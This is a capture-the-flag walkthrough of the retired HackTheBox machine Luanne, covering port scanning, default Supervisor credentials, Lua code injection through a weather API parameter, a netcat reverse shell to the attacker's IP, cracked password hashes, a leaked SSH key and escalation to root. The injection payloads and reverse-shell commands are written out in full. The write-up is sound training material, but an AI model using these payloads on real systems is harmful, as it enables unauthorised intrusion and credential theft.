Luanne is a machine on the HackTheBox.
😜Background😜
Luanne is a retired vulnerable VM from Hack The Box.
🔰Information Gathering
Let’s start with a masscan
probe to establish the open ports in the host.
# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.218 --rate=1000
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-12-02 07:55:24 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 9001/tcp on 10.10.10.218
Discovered open port 22/tcp on 10.10.10.218
Discovered open port 80/tcp on 10.10.10.218
Open port 9001/tcp
looks interesting. Let’s do one better with nmap
scanning the discovered ports to establish their services.
# nmap -n -v -Pn -p22,80,9001 -A --reason 10.10.10.218 -oN nmap.txt
...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
| 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
| 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_ 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp open http syn-ack ttl 63 nginx 1.19.0
| http-auth:
| HTTP/1.1 401 Unauthorizedx0D
|_ Basic realm=.
| http-methods:
|_ Supported Methods: GET HEAD POST
| http-robots.txt: 1 disallowed entry
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open http syn-ack ttl 63 Medusa httpd 1.12 (Supervisor process manager)
| http-auth:
| HTTP/1.1 401 Unauthorizedx0D
|_ Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Hmm, NetBSD eh… This is what the site looks like navigating to /weather
.
Damn!
💉Directory/File Enumeration
Let’s see what gobuster
and SecLists have to offer.
# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 20 -x lua -u http://10.10.10.218/weather/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.218/weather/
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: lua
[+] Timeout: 10s
===============================================================
2020/12/02 08:39:41 Starting gobuster
===============================================================
/forecast (Status: 200)
===============================================================
2020/12/02 08:40:25 Finished
===============================================================
This is what you get when you navigate to /weather/forecast
.
By appending ?city=list
to /weather/forecast
, this is what you get.
Let’s put this aside and explore the other http
service.
💉Supervisor HTTP Server
It’s trivial to uncover the default username and password (user:123
) for Supervisor HTTP Server from the official documentation.
And this is what it looks like after authentication.
The processes stdout
contains plenty of juicy information.
USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND
root 0 0.0 0.2 0 10764 ? DKl 5:59AM 0:45.44 [system]
root 1 0.0 0.0 19848 1524 ? Is 5:59AM 0:00.02 init
root 163 0.0 0.0 32528 2304 ? Ss 5:59AM 0:00.37 /usr/sbin/syslogd -s
r.michaels 185 0.0 0.0 34996 2012 ? Is 6:00AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www
nginx 271 0.0 0.1 33684 3348 ? I 6:00AM 3:02.47 nginx: worker process
root 298 0.0 0.0 19704 1336 ? Is 5:59AM 0:00.00 /usr/sbin/powerd
root 299 0.0 0.0 33372 1832 ? Is 6:00AM 0:00.00 nginx: master process /usr/pkg/sbin/nginx
_httpd 336 0.0 0.3 120320 17988 ? Ss 6:00AM 1:10.00 /usr/pkg/bin/python3.8 /usr/pkg/bin/supervisord-3.8
root 348 0.0 0.0 75140 2940 ? Is 6:00AM 0:00.09 /usr/sbin/sshd
_httpd 376 0.0 0.0 34952 2012 ? Is 6:00AM 1:40.30 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
root 402 0.0 0.0 23564 1656 ? Is 6:00AM 0:00.24 /usr/sbin/cron
_httpd 2115 0.0 0.0 35252 2340 ? I 1:23PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
_httpd 2234 0.0 0.0 0 0 ? R - 0:00.00 /usr/bin/egrep ^USER| [system] *$| init *$| /usr/sbin/sshd *$| /usr/sbin/syslogd -s *$| /usr/pkg/bin/python3.8 /usr/pkg/bin/supervisord-3.8 *$| /usr/sbin/cron *$| /usr/sbin/powerd *$| /usr/libexec/httpd -u -X -s.*$|^root.* login *$| /usr/libexec/getty Pc ttyE.*$| nginx.*process.*$ (sh)
_httpd 20004 0.0 0.0 35252 2340 ? I 9:59AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
root 421 0.0 0.0 19784 1588 ttyE1 Is+ 6:00AM 0:00.00 /usr/libexec/getty Pc ttyE1
root 388 0.0 0.0 19780 1580 ttyE2 Is+ 6:00AM 0:00.00 /usr/libexec/getty Pc ttyE2
root 433 0.0 0.0 21088 1596 ttyE3 Is+ 6:00AM 0:00.00 /usr/libexec/getty Pc ttyE3
We now know that Lua is used for the weather web application and the developer is likely r.michaels
.
🔐Lua Code Injection
It’s equally trivial to discover a Lua error in the weather web application.
# curl http://10.10.10.218/weather/forecast?city=$(urlencode "');")
Lua error: /usr/local/webapi/weather.lua:49: attempt to call a nil value
Let’s see if we can execute shell commands with os.execute
.
# curl http://10.10.10.218/weather/forecast?city=$(urlencode "');os.execute('nc 10.10.16.125 1234')--")
Awesome.
💻Foothold🗽
With that, we can get ourselves a shell.
# curl http://10.10.10.218/weather/forecast?city=$(urlencode "');os.execute('rm -rf /tmp/p; mkfifo
/tmp/p; /bin/sh /tmp/p')--")
During enumeration of the _httpd
account, I notice the presence of .htpasswd
in /var/www
, which is also the home directory of _httpd
.
Let’s have a go at it with JtR.
The password is iamthebest
.
😏Getting user.txt
We know from the processes stdout
above that the web application is really running locally at 3000/tcp
, proxied through Nginx’s 80/tcp
.
server {
listen 80;
server_name localhost;
#charset koi8-r;
#access_log /var/log/nginx/host.access.log main;
location / {
root share/examples/nginx/html;
index index.html index.htm;
}
location = / {
proxy_pass http://127.0.0.1:3000/index.html;
}
location = /robots.txt {
root /var/www/;
}
location /weather/forecast {
proxy_pass http://127.0.0.1:3000/weather/forecast;
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root share/examples/nginx/html;
}
# proxy the PHP scripts to Apache listening on 127.0.0.1:80
#
#location ~ .php$ {
# proxy_pass http://127.0.0.1;
#}
# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
#location ~ .php$ {
# root html;
# fastcgi_pass 127.0.0.1:9000;
# fastcgi_index index.php;
# fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
# include /usr/pkg/etc/nginx/fastcgi_params;
#}
# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
#location ~ /.ht {
# deny all;
#}
}
But there’s another port, 3001/tcp
from the processes stdout
! Both ports are running off the bozotic HTTP server.
Not only that, looks like r.michaels
plugged the gap in this one. We need another way in.
The Bozotic HTTP Server😜
If you look at the processes stdout
for 3001/tcp
closely and compare it with the httpd
command options above, you’ll notice something interesting.
/usr/libexec/httpd
-u
-X
-s
-i 127.0.0.1
-I 3001
-L weather /home/r.michaels/devel/webapi/weather.lua
-P /var/run/httpd_devel.pid
-U r.michaels
-b /home/r.michaels/devel/www
~user/public_html
support is enabled! Let’s give it a shot.
Argh, HTTP Basic Authorization is enabled. Maybe (webapi_user:iamthebest
) will work?
Awesome. What do we have here? id_rsa
??? Seriously, who leaves id_rsa
in their public_html
directory?
With that, we should be able to log in as r.michaels
via SSH and retrieve user.txt
.
😏Privilege Escalation🔰
During enumeration of r.michaels
’ account, I notice the presence of a backup
directory which appears to contain an encrypted file.
In addition, r.michaels
is able to doas
root
.
netpgp(1)
If I had to guess, I would say that the file was encrypted with netpgp(1)
, judging from the presence of the .gnupg
directory in the home directory.
After extracting the backup archive, there’s another .htpasswd
that’s different from the previous one.
Nothing too hard for JtR.
The password is littlebear
.
🥳Getting root.txt
I sense the end is near…
!!!Rooted!!!!
Comments
Post a Comment